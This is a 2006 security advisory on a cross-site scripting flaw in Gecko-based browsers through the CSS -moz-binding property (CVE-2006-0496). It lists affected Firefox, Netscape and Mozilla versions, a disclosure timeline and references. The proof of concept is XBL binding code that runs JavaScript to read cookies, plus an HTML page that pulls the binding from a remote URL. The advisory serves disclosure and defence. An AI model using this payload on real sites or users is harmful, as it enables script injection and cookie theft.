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Gecko Based Browsers -moz-binding XSS
------------------------------------------------------------------------
SUMMARY
" <http://www.mozilla.org/projects/xbl/xbl.html> XBL is a markup language
for describing bindings that can be attached to elements in other
documents." "The value of the
<http://www.mozilla.org/projects/xbl/xbl.html#attach-css> -moz-binding
property is a set of URLs that identify specific bindings. An individual
URL in the set consists of the binding document's URL and the binding's
document-unique identifier."
By crafting special XBL code, attackers can execute XSS using the
-moz-binding option on Gecko based web browsers.
DETAILS
Vulnerable Systems:
* Mozilla Firefox 1.5 and prior
* Mozilla Firefox 1.0 and above
* Netscape version 8.1 and prior
* Mozilla Suite version 1.7.12 and prior
* Mozilla Seamonkey 1.0
Gecko based browsers uses the CSS option -moz-binding in order to bind XBL
code from additional locations including remote hosts.
Attackers can use the -moz-binding option in order to inject Javascript
code and to perform a cross site scripting attack from remote location.
Proof of Concept:
Cookie reading:
< !--
this must be served with Content-type: text/xml or similar
-- >
< bindings>
< binding id="exploit">
< implementation>
< constructor>
//
function exploitMe( element ) {
element.innerHTML = "Attempting to read cookie
data...";
var data;
try {
data = document.cookie || "No cookie data.";
} catch( e ) {
data = "Unable to read cookie."
}
element.innerHTML = data;
element.style.color = "green";
}
exploitMe( this );
//
< / constructor>
< / implementation>
< / binding>
< / bindings>
Remote loading of script file:
< ! DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd";>
< html xmlns="http://www.w3.org/1999/xhtml";>
< head>
< meta http-equiv="Content-Type" content="text/html;
charset=utf-8" />
< title>Cookie Exploit< /title>
< / head>
< body>
< h1>Cookie Exploit using CSS< / h1>
< p style="color: red; -moz-binding:
url(https://bugzilla.mozilla.org/attachment.cgi?id=209238#exploit);
behavior: url(https://bugzilla.mozilla.org/attachment.cgi?id=209240);">
This is a paragraph with inline exploit CSS.
The CSS executes JavaScript that can read cookies.
< / p>
< / body>
< / html>
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0496>
CVE-2006-0496
Disclosure Timeline:
1-Feb-2006 - Vulnerability researched and confirmed
2-Feb-2006 - Detailed research
2-Feb-2006 - Vendor contacted
2-Feb-2006 - Security companies and several CERT units contacted
ADDITIONAL INFORMATION
The information has been provided by <mailto:juha-matti.laurio@netti.fi>
Juha-Matti Laurio.
The bug report can be found at:
<https://bugzilla.mozilla.org/show_bug.cgi?id=324253>
https://bugzilla.mozilla.org/show_bug.cgi?id=324253
A blog about the vulnerability can be found at:
<http://community.livejournal.com/lj_dev/708069.html>
http://community.livejournal.com/lj_dev/708069.html
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